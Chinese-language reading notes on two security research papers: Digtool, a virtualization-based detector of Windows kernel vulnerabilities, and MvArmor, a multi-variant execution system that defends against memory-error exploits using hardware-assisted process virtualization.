因为系统调用总是在内核态被执行,所以不用监测处理器在用户态运行时的用户空间,SPTs只需用来监控在系统调用期间的用户内存空间。由于许多VMEXIT事件会被触发影响效果,所以接口检测可以通过相关的服务接口来配置待监测的系统调用的范围。

3.1.3 内存检测

监控客户机操作系统中内核内存来检测非法内存访问。SPTs用来监控内核内存。

为了检测具体类型的漏洞,内存检测可以通过相关服务接口,设置监控的内存区域,配置监测的对象,当截获到内存分配和释放的事件时动态调整监控的内存区域,从而在内存访问过程中得到潜在漏洞的准确特征。

3.2 内核空间组成

在内核空间主要工作有:

  • 设置监控的内存区域:取决于待检测的漏洞类型,同时会随着一些内核事件的出现(如分配和释放)而改变,因此这些事件需要被跟踪。
  • 和hypervisor进行通信:内核代码调用digtool输出的服务接口向hypervisor请求服务;也可以通过共享内存传递消息。
  • 截获某些特定的内核函数:需要hook一些操作系统的内核函数来跟踪一些特殊的事件。

中间件位于客户操作系统的内核空间,用来连接hypervisor子系统与用户空间的项目。流程如下:

  1. 首先在加载fuzzer之前,通过配置文件来设置系统调用的检测范围;
  2. 中间件将配置信息和从加载器那来的fuzzer进程信息传递给hypervisor;
  3. hypervisor可以检测在fuzzer进程中的漏洞。

3.2.1 中间件for接口检测

中间件通过一个工作线程将所有的行为事件记录到日志文件中,记录的数据包括系统调用编号(仅检测范围内的系统调用),事件类型,事件时间,指令地址以及事件所访问的内存。
日志分析器可以通过日志文件来检测潜在的UNPROBETOCTTOU漏洞。

3.2.2 中间件for内存检测

中间件通过hook一些特殊的内存函数来动态调整监测的内存区域。

通过调用服务接口来限制监测的内存区域和内核代码。如果发现一个潜在漏洞,中间件会记录下来,通过单步调试的模式或者软中断来中断OS。客户操作系统与类似于windbg的调试工具连接,可以获取准确的上下文用于分析漏洞。

3.3 用户空间组成

加载器loader,fuzzer,日志分析器放在用户空间,可以简化代码,使系统更稳定。加载器用来激活hypervisor,加载用来进行路径探索的fuzzer,在路径探索过程中的行为特征被记录下来,用于记录分析。

3.3.1 加载器

Loader 用于加载目标程序,digtool提供运行环境来检测漏洞。通过配置文件限制系统调用的检测范围,为ProbeAccess事件设置虚拟地址的边界。

3.3.2 Fuzzer

Fuzzer用于发现代码分支,由加载器加载。在digtool中,fuzzer需要通过调整参数尽可能的调用检测范围内的系统调用,发现其分支。

3.3.3 日志分析器

分析器用于从大量的与漏洞特征相关的记录数据中提取有价值的信息。因为不同漏洞采用了不同的策略来检测,日志分析器的漏洞检测算法需要根据待检测漏洞的类型进行改变。

4 实现

介绍digtool的实现细节。

4.1 VMM Infrastructure

主要是初始化hypervisor,提供基础设施。初始化过程如下:

  • Digtool作为驱动被加载进OS内核,通过CPUID指令检查处理器是否支持硬件虚拟化。
  • 通过初始化一些数据结构(如VMCS)和寄存器(如CR4)为每个处理器启动hypervisor
  • 根据原先的操作系统状态设置客户操作系统的CPU状态,这样原先的操作系统就成为了运行在虚拟机上的客户操作系统。

4.1.1 虚拟页监视器

Digtool用SPTs来监控虚拟内存访问,为了减小开销,SPTs只会被监视的线程使用,对于未监控的线程使用客户机操作系统原始的页表。
Figure 2展示了对一个监视的线程,虚拟页监视器的工作流程。




  • 采用一个稀疏位图Bitmap来跟踪进程空间的虚拟页,位值为1表示对应的页需要被监控,同时SPT页表中的P flag被清除;
  • 当要访问被监控的页时会触发一个#PF异常;
  • 当#PF异常被Hypervisor截获,hypervisor中的异常处理程序先去检查Bimap中对应位值是否为1:
    • 若为0,说明这个页不需监控,SPT直接从GPT中更新对应的页,指令便继续执行
    • 若为1,异常处理模块将会处理异常:1>记录异常;2>向客户机操作系统注入一个中断,此中断处理程序会记录一些关于#PF异常的信息(如访问的内存地址,导致#PF的指令);3>通过触发另一个异常(软件中断)来连接客户机操作系统中的调试工具,digtool通过设置hypervisor中的MTF/TF单步调试客户机操作系统中的指令,同时SPT从GPT中更新页,使导致异常的指令再次执行。
  • 由于MTF/TF,VMEXIT会在客户机操作系统每次指令执行后被触发,hypervisor重新拿到控制权,MTF/TF处理程序可以清除P flag,使虚拟页再次被监视。

4.1.2 进程调度监视器

Digtool只关注被监视的线程,因此需要跟踪线程调度来检测被监视的线程,不检测不需监视的进程。

在windows操作系统中,_KPRCB结构提供了正在运行的线程信息给对应的处理器,而_KPRCB是通过_KPCR结构获得,_KPCR的地址又可以通过FS寄存器(64位系统中的GS寄存器)得到。故正在运行的线程可以通过以下的关系得到:

FS–>_KPCR–>_KPRCB–>CurrentThread.

注意,关于如何获得_KPRCB,有其他的方法。在这里digtool使用了人工逆向和windows内核的知识来得到。

获得_KPRCB后,在_KPRCB中的当前线程被监控,任何对当前线程的写操作意味着一个新的线程将会处于运行态,被hypervisor截获后激活虚拟页监视器,进行漏洞检测。

4.1.3 内核与Hypervisor间的通信

包含两个主要的方面:

  • 内核请求服务,hypervisor提供服务。通过服务接口来实现,而服务接口基于一个VMCALL指令,引发VMEXIT,hypervisor拿到控制权,处理请求。
  • Hypervisor向内核组件发送消息,组件处理消息。通过共享内存实现,hypervisor将获得的行为信息写入共享内存并通知内核。



根据Figure3中的箭头得到下面的指令流程:

  1. 当被检测的目标模块触发一个被hypervisor监视的事件时,VMEXIT将会被hypervisor截获;
  2. Hypervisor将事件信息记录到共享内存。当共享内存满了,将会注入一段代码到客户机操作系统,通知工作线程处理共享内存的数据(读取共享内存中的信息并写入日志文件);否则直接跳回目标模块;
  3. 通知工作线程后,跳回目标程序,重新执行引起VMEXIT的指令。

4.2 通过系统调用接口检测漏洞

接口检测需要追踪系统调用执行的过程,监控从用户态进程传入的参数,然后判断这些参数的检查和使用是否会产生潜在的漏洞:

  • 监控系统调用执行的整个过程,从进入内核态的point到返回用户态的point;
  • 监控内核代码对用户内存的处理;
  • 记录行为特征,用来分析潜在漏洞。

4.2.1 事件监视器

接口检测的实现是通过定义和截获系统调用过程中不同的行为事件,这些事件和截获其方法构成了事件监视器。

事件监视器定义了十种行为事件:Syscall,Trap2b,Trap2e,RetUser,MemAccess, ProbeAccess,ProbeRead,ProbeWrite,GetPebTeb,AllocVirtualMemory.这些事件的结合可以定位一个潜在的漏洞。




如Figure 4所示,在一个系统调用的执行过程中行为事件将会以这样的形式记录下来。方框上面的数字代表事件时间,只是记录了顺序,不代表实际的间隔。方框下面的Mi/Mj代表该事件访问的内存地址。

  • Syscall/Trap2b/Trap2e:不同的从用户态进入内核态的系统调用方式,通过截获中断向量表中相应的入口来跟踪–监控系统调用
  • RetUser:返回到用户空间,由于返回用户态之前,处理器会预先从用户内存提取指令,所以通过监控用户空间的页面访问来追踪 -SPT监控页面访问
  • MemAccess: 内存访问 –SPT监控内存空间
  • ProbeRead/ProbeWrite: 通过调用ProbeForRead/ProbeForWrite函数记录用户内存地址是否被内核检测过 –Hook内核函数
  • ProbeAccess:通过指令直接对比检测用户内存地址是否合法(不能直接hook)-CPU模拟器
  • AllocVirtualMemory/GetPebTeb: 确保用户内存地址合法,针对一些不需要检查的用户内存。 –Hook内核函数

4.2.2 CPU模拟器

ProbeAccess事件通过指令直接对比(比较待检测内存与用户内存空间的边界)检测用户内存地址是否合法,由于没有直接可以hook的内核函数,也没有访问用户内存空间的权限,提出了CPU模拟器。

CPU模拟器放在hypervisor用来获取难以用一般方法获得的行为特征。通过解释并执行一段客户机操作系统的内核代码来实现。工作流程如Figure 5所示:




  • #DR 寄存器中存储着目标内存,即用来检测用户内存地址的边界,这个值可以通过来自加载器的配置文件以及中间件与hypervisor的通信进行设置。
  • 当客户机操作系统访问目标内存时,hypervisor的DR处理程序会捕捉到异常,根据客户机的CPU更新CPU模拟器的状态
  • CPU模拟器被激活,截获和执行客户机操作系统中导致调试异常的指令。CPU模拟器的起始地址就是客户机操作系统EIP寄存器中指令地址的的前一条指令。
  • CPU模拟器主要关注cmp指令和执行客户机操作系统的代码。通过CMP指令捕获ProbAccess事件,记录到共享内存。

4.2.3 检测UNPROBE漏洞

前面已经提到过,在使用从用户状态传来的指针之前,系统调用处理程序需要对其进行检查,确保该指针指向的是用户空间。所以这意味着在MemAccess事件之前会先触发ProbeRead/ProbeWrite/ProbeAccess.因此如果在MemAccess之前没有其他类型的检查事件,就说明可能有潜在的漏洞。

检测UNPROBE漏洞主要关注两个方面:

  • 在系统调用执行过程中,MemAccess事件之前是否有检查事件;
  • 两个事件中的虚拟内存地址是否是同一个。

从Figure 4可以看出,在n+3时刻,内核代码访问用户内存触发了MemAccess事件,而在这之前并没有任何ProbeRead/ProbeWrite/ProbeAccess事件,也没有AllocVirtualMemory/GetPebTeb事件表明该用户地址是合法的,说明该处可能有潜在的漏洞。

4.2.4 检测TOCTTOU漏洞

检测TOCTTOU漏洞也有两个关键点:

  • 一个是从用户态工程传来的参数应该是一个指针;
  • 同一系统调用处理程序不止一次地从用户内存取参数。

从Figure 4可以看出,内核代码在n+2和n+3时刻访问了同一用户内存。

当发现系统调用处理程序不止一次地从用户内存取参数时,通过比较Syscall/Trap2b/Trap2e和RetUser事件判断是否是同一个系统调用,从而判断是否存在TOCTTOU漏洞。

4.3 通过内存追踪检测漏洞

内存检测是通过跟踪内存分配,释放和访问等行为来检测内核内存的非法使用。主要关注两种内存的非法使用:

  • 越界访问分配的堆,会导致OOB漏洞;
  • 参考freed memory,会导致UAF漏洞。

为了捕获漏洞的动态特征,需要监控已分配,未分配和已free的内存。Digtool通过虚拟页面监视器来监控内核内存。非法内存访问会产生page fault,hypervisor可以截获并记录下内存访问错误,然后提交到内核的调试工具进行调试,这样内核执行过程准确的上下文会被记录下来,用于漏洞检测。
为了跟踪已分配和已free的内存,digtool对由于分配内存和free内存的内存函数进行了hook,digtool可以通过内存分配函数的参数直接得到内存地址和内存大小。
注意,在digtool加载之前的内存分配是无法截获的,因此为了更准确的检测,digtool越早加载越好。

4.3.1 检测UAF漏洞

通过Hook ExAllocatePoolWithTag/ExFreePoolWithTag/ExAllocateHeap/InterlockedPushEntrySList/InterlockedPopEntrySList函数,任何在已free的内存上操作的指令都认为是UAF漏洞。

同时digtool通过延迟释放freed内存来延长检测时间。(防止这种情况:用p指向已分配的内存block A–>free A–>另一个进程分配block B覆盖A(这样A那块区域是已分配状态)–>仍然可以通过p指针操作blockA)

4.3.2 检测OOB漏洞

为了检测OOB漏洞,需要将监控的内存范围限制在未被分配的内存。任何对未分配内存的访问都会产生一个OOB漏洞。

在检测过程中,digtool会搜索已分配和未分配内存区域的记录,并建立一个AVL树。如果内存区域被分配就会在AVL树中增加一个节点,如果内存被free,就会删除相应的节点。当被监视的页面被访问时,digtool会搜索AVL树来找到访问的区域,如果相关节点不存在,说明存在OOB漏洞。

Digtool会在调用分配内存函数分配内存时多分配M字节,而这M字节不计入AVL的节点,这样可以避免内存块A,B相邻,而越界访问A的问题。

5 评估

5.1 效果

5.1.1 检测UNPROBE漏洞





#### 5.1.2 检测TOCTTOU漏洞




#### 5.1.3 检测UAF漏洞








#### 5.1.4 检测OOB漏洞



5.2 性能

  • 比Windows慢2.18-5.03倍
  • 比模拟器Boch快45.4-156.5倍

Reference

Digtool:A Virtualization-Based Framwork for Detecting Kernel Vulnerabilities –Jianfeng Pan,Guanglu Yan,Xiaocao Fan-IceSword Lab,360 Internet Security Center

usenixsecurity17_slides_guanglu_yan.pdf

MvArmor

曾经的论文笔记系列

使用硬件辅助进程虚拟化的安全高效的多变体执行

—— Koen Koning [Vrije Universiteit Amsterdam] [koen.koning@vu.nl]

摘要

多变体执行(MVX)解决方案可以通过在并行运行的各种程序变体中观察到不同行为来潜在地检测任意内存错误利用。然而,之前的MVX由于其严重的性能限制,在安全性方面的没有实际适用性。

本文将介绍MvArmor,这是一个MVX系统,它使用硬件辅助的进程虚拟化以高效但安全的方式监控变体的不同行为。为了提供针对内存错误利用的全面保护,MvArmor依靠一个新的MVX感知变体生成策略。该系统支持用户可配置的安全策略来调整性能和安全性之间的权衡。我们的分析表明,MvArmor即使在保守的检测策略下,仍然可以以适度的性能开销为代价抵御许多类型的现代攻击。


1.Introduction 介绍

C和C ++程序中的内存错误仍然是今天最严重的安全问题之一。即使像Heartbleed这样一个不复杂的内存错误利用,也可以轻易地危及全球无数用户的私人数据,并带来严重的后果。

现代操作系统部署了多种措施来防范内存错误利用:

  • 数据执行保护(DEP)
  • 地址空间布局随机化(ASLR)
  • 堆栈金丝雀

以上广泛部署的安全防护都可以被现代的代码重用攻击绕过。

研究界提出的更强大的安全防御要么需要重新编译程序和所有共享库(可部署性受限),要么只保护所有可能的内存攻击的子集(安全性受限)。例如,流行的防止控制流转移攻击的控制流完整性(CFI)解决方案,针对只有数据的攻击(如Heartbleed)和甚至针对依靠程序中合法控制流的控制流分流攻击是无效的。

防御和防止任意攻击的需求导致需要更全面的解决方案。MVX系统最早由Cox等人在2006年提出,两种或更多的内存多样化,但在语义上同等的软件变体并行,并从语义上分歧的行为中检测内存攻击。这些变体运行在同一台机器上(利用多核CPU)并在系统调用级别上同步。

传统MVX缺点

  • 实现运行的实时性能不佳,系统调用监控机制开销太大使其在实践中不可用。
  • 有限的变体生成策略通常不能提供足够的保护来防止更复杂的内存攻击。

MvArmor的贡献

  • 我们提出一个基于硬件辅助进程虚拟化的MVX设计。我们的设计高效地将MVX监控器的执行与运行的变体和底层内核分开,与之前的相比,提供了卓越的性能和安全设计。

  • 我们提出了一种基于MVX感知分配器抽象的新型变体生成策略。我们的策略在我们的MVX设计中使用时被证明是有效的,可以提供强大的安全保证,防止传统和现代的内存错误利用。

  • 我们提供了一个安全高效的MVX系统MvArmor.MvArmor在Dune之上实现了我们的设计,以保护商业Linux程序,并提供灵活的安全策略来鼓励部署。我们使用标准的基准测试和流行的真实世界的服务器程序评估MVArmor,显示MvArmor提供了强大的防御任意内存攻击的能力,同时比任何现有的安全相关的MVX解决方案性能都要好得多(SPEC CINT2006的开销是9%,服务器应用平均只有55%,即使是最保守的安全政策)。


2.Background 背景知识

每个MVX系统都包含两个主要组件:运行并同步变体的监控器变体生成策略,这两者对整个系统的安全性和性能都有很大的影响。

2.1监控器

  • MVX监控器负责比较和同步正在运行的进程变体的执行。这些变体都运行在同一个系统上,理想情况下每个变体都有专门分配的核-我们假设在现代多核架构中,许多核可以明确地专用于对安全敏感的应用程序。监控器本身可能由几个进程组成,例如每一个变体通过共享内存进行通信的进程。
  • 完整的MVX系统(包括监控器)被设计为用户透明的应用程序。例如,对于在MVX下运行的Web服务器,用户的请求将分发给所有变体。监控器还将组合所有Web服务器变体的响应,并让用户产生直接与单个Web服务器实例进行通信的错觉。
  • 每当这些响应(或其他操作)在各种变体之间不等同时,监控器就可立即检测到攻击企图(因为正常的操作应该不会触发分歧行为)并且在攻击者可以造成任何伤害之前停止变体。一般来说,MVX不会导致更多的文件系统和套接字I/O,因为是监控器而不是每个变体来有效地执行所有系统调用。

在大多数情况下,系统调用被用作同步点,因为它们通常是每个进程与环境交互的主要方式(例如文件系统操作或套接字操作)。在系统调用级别运行的监控器可以捕获和控制外部行为,同时仍然允许每个变体执行不同的内部行为。

监控器必须能够拦截系统调用和它们的参数来比较不同变体的进程行为。它还必须能够重写参数,阻止系统调用并修改返回值(或内存),以确保所有变体之间的统一和无副作用的系统调用处理。总的来说,监控器需要确保所有的变体暴露于相同的环境视图和信息(例如,PID),以避免无意的分歧行为。

以前的MVX系统中已经使用了几种策略来拦截系统调用,但是它们都受到重要的性能或安全性限制。为了深入分析这些限制,我们评估了由现有的系统调用插入策略引起的运行时间开销,通过重复发出getpid 系统调用的简单标记。图1给出了我们在传递(即将原始系统调用转发到底层OS内核)仿真(即立即将结果返回到应用)模式中的结果。




如图所示:

  • 基于可加载内核模块(LKM)的MVX监控器在两种操作模式下实现了最高效的系统调用插入策略,因为它不引入额外的上下文切换,并且可以直接访问进程状态。早期的MVX系统采用的这个策略的问题是监控器完全在内核中运行。这会导致可信计算基础(TCB)的大幅度增加和可部署性降低:监控器中的单个错误会影响整个系统,并且内部的内核API非常不稳定。

  • 传统的基于ptrace 的MVX实现依赖于UNIX进程跟踪API来实现可部署但效率非常低的系统调用插入策略。这个策略引入了监控器和被跟踪进程之间在每一个系统调用上的多个上下文切换,从而导致在microbenchmark中的开销最高(高达〜217倍)。在64位系统上,使用ptrace 的监控器不能阻塞系统调用,使得仿真甚至比传递负荷更大。使用ptrace 进行系统调用监控也易受TOCTOU攻击的影响,这些攻击很难解决,因为操作之间的延迟很大,以及监控器与应用程序地址空间之间的访问受到限制。

  • 最近的MVX监控器实现依靠静态二进制工具(SBI)来重写二进制文件,并用监控器调用替代任何系统调用指令(例如,int $ 0x80或syscall)。如图1所示,这种系统调用插入策略效率更高(基于Dyninst SBI框架,可达到约5倍的时间),因为它不需要上下文切换,甚至在仿真模式下不需要模式切换。不幸的是,这种策略通常不适用于安全应用程序,因为攻击者可以篡改进程内监控器状态,或者简单地运行未检查未对齐的系统调用指令(不是正常指令流的一部分,因为x86不强制对齐)来绕过系统调用插入和逃避检测。

  • 基于动态二进制翻译(DBT)的实现将能够检测对齐和未对齐的指令并解决后一个问题,代价是稍高的系统调用插入开销(基于DynamoRIO DBT框架,开销高达9倍),而且在系统调用执行期间也是一个不小的影响。为了充分解决前一个问题,基于DBT的解决方案需要部署额外的工具(例如,基于软件的故障隔离[36]),但这也会进一步增加系统调用执行期间的开销。

MvArmor则依靠硬件级的进程虚拟化来实现系统调用介入。使用Dune将常规的Linux进程虚拟化,并将其置于自己的(硬件支持的)虚拟环境中。如图1所示,与其他技术相比,这种策略非常高效(getpid()),并且满足我们所有的安全需求:小型系统的TCB,无进程状态的完全隔离的监控器,不可绕过(基于陷阱)的系统调用介入机制。此外,仿真模式的优异性能和访问特权CPU特性的能力为libOS风格的优化提供了有趣的机会。

2.2变体生成

变体生成策略对MVX系统解决的攻击类型具有强大的影响。理想情况下,任何攻击最终都会导致变体之间的不同行为。例如,依赖ASLR进行变体生成,使得两个或多个变体共享代码页不太可能在相同的地址上,使得像ROP这样的代码重用攻击更加困难。通过扩展这个策略来使用MVX感知(即不重叠)的地址空间,可以完全防止传统的代码重用攻击。这是因为没有代码指针可能在多个变体中是有效的,因此除了其中一个变体以外,在对其进行解引用时会导致错误。虽然这种方法也将阻止完全依赖于绝对内存对象地址的任意内存读写攻击(例如,数据指针重写)),但它不能阻止仅依赖于内存对象之间的相对距离的攻击。例如,基于栈或堆的缓冲区越界读会揭露私人数据(例如,密钥),溢出破坏敏感的非指针数据(例如,UIDs)仍然无法避免,因为这些攻击只使用相对内存访问。

可替代的变体生成策略包括颠倒栈的方向和随机化指令集。这些策略增加了一些额外的安全性(例如,分别只解决基于堆栈的和代码注入攻击),并且引入不小的开销。

相比之下,MvArmor依赖于一种新的MVX感知的变体生成策略,该策略旨在尽量减少对运行时性能的影响,同时提供强大的安全保证,以抵御依赖于内存中绝对和相对访问的任意类别的攻击。安全策略允许用户在不断增加的保护级别(概率和确定性)之间进行选择,代价是更大的性能开销。

最后,使用MVX系统的优势在于,它可以以更少的开销同时保护这些攻击类型中的多个(给予足够的备用CPU核心和资源),并且一般不需要访问系统的源或重新编译系统库函数。


3.威胁模型

假设一个强大的威胁模型,攻击者可以反复地与目标程序进行交互,利用漏洞从内存读取或写入任意数据。特别地,我们假设攻击者可以依靠相对的(如缓冲区读取/溢出和部分指针覆盖)和任意绝对的内存读/写原语(如指针覆盖)。我们还假设空间(如缓冲区溢出)和时间(如use-after-free)内存攻击。基于这些基本类型,我们假设攻击者可以追踪以下目标中的任何一个(符合现代特征攻击):

  • 任意代码执行:攻击者可以执行任意代码,例如使用ROP或其他代码重用技术发出系统调用。

  • 信息泄露:攻击者可能泄露目标程序中的敏感数据,例如Heartbleed中的加密密钥。

  • 信息篡改:攻击者可能篡改敏感数据,例如UID升级权限,或者装入其他非控制数据攻击。


4.概述




图2显示了MvArmor的主要组件,这些组件在虚拟环境中运行。

  1. 在启动时,为了保护应用程序免受所有前面提到的攻击向量,变体生成器(V-A) 使用MVX感知变体生成策略为每个变体生成一个应用程序实例。
  2. 安全管理器(V-B)则生成安全策略,为其余组件提供安全性和性能之间的折衷。这些安全策略可以由用户定义,并取决于所考虑的攻击类别。
  3. 当应用程序执行系统调用时,它将陷入系统调用前端(V-C)。这个组件是虚拟环境的监控器和“内核”(ring 0代码)的入口点。系统调用前端还管理应用程序状态的所有访问,如地址空间。
  4. 前端将所有系统调用事件转发给变体管理器(V-D),它负责同步所有变体并执行安全策略。变体管理器使用与Hosek和Cadar提出的类似的环状缓存来相互通信。具体来说,其中一个变体(领导者)执行所有的实际的系统调用,并将相应的事件发送给其他变体(追随者),他们在自己的时间使用事件。追随者也只执行一小部分系统调用(如内存管理),因为大多数I/O应该只发生一次(例如通过套接字发送数据)。与传统的MVX系统不同,这些变体可以在大多数时间异步运行,从而消除了运行时变体一致的性能瓶颈。然而,不受约束的异步性并不安全。可以允许一个变体通过像exec这样的调用来实现任意的代码执行,或者像调用write来实现信息泄露。相反,我们使用安全敏感和非安全敏感的系统调用之间已知的区别,并选择性的强制执行同步执行,其中敏感调用的集合根据安全策略而变化
  5. 变体管理器 还负责决定系统调用何时应该被真正执行(领导者),或者何时应该简单地复制结果(追随者)。当变体管理者 决定执行一个系统调用时,它将它发送到系统调用后端(V-E)。在一个初步的实现中,后端将简单地将所有的系统调用转发给真实的内核。但是,Dune中的每个系统调用都需要开销很大的VM exit。为了降低这些开销,我们直接在监控器上实现了一套(内存管理和getpid-like)系统调用。以后libOS风格的优化也是可能的 ,如通过使用用户空间网络栈(如IX),或通过配置系统调用。
  6. 变体管理器 使用命名空间管理器(V-F)来确保变体的所有可用信息是相同的(包括PID,文件描述符和时间信息),最后检测器(V-G)在语义上比较变体的执行分歧。

5.MvArmor: 快速安全的MVX

我们现在详细描述每个MvArmor的组件。

5.1变体生成器

MVX中的一个基本问题是变体应该在多大程度上有所不同。不限制的变化将不可能从分歧中检测到攻击,因为一切都可能不同。相反,变化不足也是不希望的,因为可能没有攻击引起的任何分歧。

对于内存错误,直接的解决方案是改变地址空间布局,并保持其他所有内容相同,因为这些差异通常不会影响程序执行,但会对恶意的内存操作产生影响。在本节中,我们确定了对不同类别的内存错误利用提供强有力的保护和检测的技术,并详细说明了我们当前的MvArmor原型中相应的实现策略。为了进行分析,我们的设计基于常见的PIE(position independent execution地址无关执行)二进制组织,但是我们的设计在原则上,还可以通过将静态程序段标记为不可重定位并适当减少安全保证来处理非PIE二进制文件。

  1. 首先,通过在不同变体间使用不重叠的地址空间,使任何绝对空间的攻击(即依靠绝对代码/数据地址的攻击)无效。通过确保变体间内存页不覆盖,指针一次最多只能在一个变体中有效,这样一定会使除此以外的所有其他变体崩溃。这已经阻止了ROP等常见的代码重用攻击和JITROP等信息泄露攻击,因为它们依赖于内存页的绝对位置。
    为了在不同变体之间实现不重叠的地址空间,我们使用ASLR随机化每个变体,然后限制ASLR不要在各种变体上重用地址范围。由于我们的MVX系统在虚拟化环境的ring0级别,因此它可以完全控制页表,从而简化了ASLR的修改。 MvArmor为每个变体中的所有内存区域(即代码,数据,堆栈等)实现这一技术。

  2. 为了阻止相对空间攻击(即依赖于相对代码/数据地址的攻击),我们的变体生成策略必须能够提供有力的保证来防止缓冲区溢出/下溢和部分指针覆盖。例如,如果跟随者堆的大小与领导者中的整个(正常和紧凑)堆一样大,则指针加上任何偏移量只能在这些变体的某一个中有效。换句话说,这种设计可以确保不同变体之间的非重叠偏移空间,从而使所有相对空间攻击无效。 为此,策略必须确保内存对象之间的偏移不重叠 。MvArmor通过在领导者中使用标准的“紧凑”分配器和在追随者中使用“稀疏”分配器 ,为所有堆对象实现了这种技术。原则上,将这种保证扩展到所有其他内存对象是可能的,但是通常需要源代码级的信息来准确地分离栈和数据对象 - 尽管二进制级别的逼近是可能的。?

  3. 到目前为止所描述的策略可以提供确定性的保护以抵御所有的空间攻击,但它们不足以阻止时间性的攻击(例use-after-free攻击)。在没有源代码级别信息的情况下,确保确定性的防范通用的时间攻击是不切实际的。一个实用的二进制级别的选择是确保概率时间内的安全。在我们的设计中,这是通过在不同的变体中使用不同的(随机化的)内存分配器来完成的,并且为了进一步限制攻击面,通过在二进制级别靠近类型安全的内存重用。???
    MvArmor为所有堆对象强制执行概率时间安全性,随机化标准分配器和领导者中的随机对象间隙。另外,MvArmor还可以在追随者的定制分配器中使用persize内存池来进行类型安全的内存重用(但是基于分配时间回溯的更不保守的二进制级近似也是可能的)。???

虽然在一个变体上实现所有提出的保护技术可能会引入大量的开销,但是在大多数情况下,它们的开销可以通过我们的MVX设计在各种变体之间被完全屏蔽。在MvArmor中,因为追随者不执行大部分系统调用,所以比领导者要快,因此会浪费几个周期等待领导者。我们的测量表明,对于我们基于I/O绑定的服务器应用程序的MvArmor实现(即没有启用任何保护),每个跟随者在系统调用期间平均花费约4000个周期等待领导者。特别是当系统调用不需要锁步行为时,空闲时间留给跟随者足够的时间在开销更大的分配器抽象中实现我们的保护技术。这一策略提供了强大的安全性保证,同时减少了端到端解决方案的运行时间开销。

5.2安全管理器

安全管理器生成的策略允许用户在安全性和性能之间进行权衡。具体来说,一个策略可以指定每个系统调用是否被认为是非敏感的(事件流,意思是领导者可以在没有同步的情况下执行它),或者是敏感的(需要与其他变体一起执行锁步执行)。

安全策略在整体系统级别,单个系统调用级别甚至特定参数级别(例如“如果权限标志中的执行位被设置,然后……”)指定行为。在MvArmor,我们针对上述每一类攻击提出以下策略(存在其他可能的策略):

  • 代码执行:对执行权限设置的execve,mprotect/mmap执行全面检查。
  • 信息泄露:强制对能够泄露数据的I/O系统调用(例如写入)进行全面检查。
  • 全面:全面检查所有系统调用。

在实践中,代码执行策略的执行效率与没有系统调用被认为是敏感的策略一样,因为代码执行策略考虑的系统调用在大多数应用程序中很少被执行。

全面的安全策略对于提供一个通用的策略(以及性能下限)是有用的,但是考虑到目标威胁模型,可以为诸如代码执行和信息泄露等定制的更精简的策略提供可比较的安全性。关键是这样的安全策略可能会延迟检测到失败的攻击,但是它们的确可以确定并立即停止所有在威胁模型中考虑到的攻击的成功尝试。

5.3系统调用前端

当应用程序执行一条syscall指令时,执行将会从ring 3陷入到ring 0的内核空间。通过在虚拟化环境中运行应用程序和监视器,所有的系统调用都将陷入监视器而不是实际的内核。MvArmor基于Dune,它利用虚拟化以安全的方式为应用程序提供对特权CPU特性的访问。为此,Dune依靠Intel VT-x扩展来允许内核通过Dune管理程序临时从正常内核(VMX root)切换到虚拟化模式(VMX non-root)。 Dune为ring 0代码设置了VMX root 和非root模式,如图3所示。由于我们的监控器运行在特权模式下,因此它还可以访问其他功能,例如页表和中断。虽然内核模块直接修改内核可以达到同样的效果,但MvArmor将监控器与系统其他部分完全分开,而不增加系统范围内的TCB。




系统调用前端从libDune接收系统调用陷阱并将其转发给变体管理器。另外,前端负责访问应用程序状态,例如读取和写入其地址空间。

并不是所有的系统调用都会在现代Linux系统上产生陷入;在每个应用程序中,内核都会建立一个共享库(虚拟动态共享对象,即vDSO),它包含执行挑选出的不会陷入内核的系统调用代码。使用Dune,我们仍然可以拦截vDSO调用,通过映射到我们自己的包含系统调用指令的代码来代替原始的vDSO。

5.4变体管理器

从前端收到系统调用事件后,变体管理器将与其他变体同步。每个进程都有一个环形缓冲区与其他变体中的各个进程共享。系统调用完成后,领导者将系统调用连同其参数和返回值一起压入环形缓冲区。追随者比较他们的参数与领导者的,要么自己执行系统调用,要么使用领导者提供的返回值。具体来说,变体管理器有一个per-syscall表来确定适当的行为。某些系统调用应该只执行一次(例如,与套接字相关的系统调用),而另一些系统调用应该在不同的变体执行(例如,内存管理调用)。对于前者,追随者只是复制领导者的返回值。

环形缓冲区提供了无需锁定的有效通信,我们使用原子操作来更新环形缓冲区入口并处于busy-waiting状态,直到消耗它们。由于像select和epoll_wait这样的系统调用可能会阻塞很长时间,所以追随者在一段时间后停止busy-waiting,然后进入睡眠状态。由于睡眠和唤醒呼叫所需VM exit,这样做开销很大。假设不缺少核,更高效的解决方案就是使用英特尔的监控器/等待指示来休眠,因为它们不会导致VM exit。由于我们的基于Dune的虚拟化环境以特权模式运行,因此它可以在普通应用程序无法使用的情况下轻松使用cpu特性

安全策略确定每个系统调用是否应该以锁步方式运行,在这种情况下,领导者在将参数推入环形缓冲区后将等待所有的跟随者,然后跟随者比较系统调用,然后在系统调用完成时暂停。对于每个系统调用(最保守的安全策略)这样做都会有更高的性能影响。

对于多线程应用程序,我们强制追随者去追随领导者系统调用的顺序。该策略旨在防止由于非确定性调度决策而产生的分歧行为。这种松散形式的确定性多线程(DMT)被证明对于以前的MVX系统是足够的。如果发生问题(例如由于良性数据竞争引起的分歧),则可以使用完整的DMT语义,代价是更大的开销。

5.5系统调用后端

当一个变体需要执行一个系统调用时,它会将调用转发到系统调用后端。将系统调用转发到内核需要开销很大的VM exit,所以系统调用后端尽可能在本地执行系统调用。目前,这是为内存管理的系统调用而实现的,但是可以扩展到包括用户空间网络栈,比如IX - 也是基于Dune的。除了消除VM exit,用户空间网络栈也提高了应用程序的整体性能。??

MVX监控器可能容易受到TOCTOU(time-of-check-to-time-of-use)攻击的影响,攻击者在监控器检查参数之后但在内核读取参数之前,从另一个线程更改内存中系统调用的参数。因为传递给系统调用的参数通常是指向应用程序地址空间中的缓冲区或结构的指针,由监控器(用于检查)和内核(用于执行)单独拷贝。我们通过将指针直接传递给复制的数据结构(在监控器中)来解决这个问题。由于不需要额外的复制,因此不会引起性能开销。

5.6命名空间管理器

如果变体能够访问内核分配的PID或时间信息,它们可以(直接或间接)在条件变量中使用这些数据,导致不同的行为。因此命名空间管理器为了确保变体不会产生意外的偏离行为,使用分层结构为每个进程和线程分配虚拟PID和TID:当一个变体快速连续创建线程时,它们必须在所有变体中获得相同的虚拟TID,而不管它们实际出现在系统上的顺序,还是早期执行其克隆操作的线程。

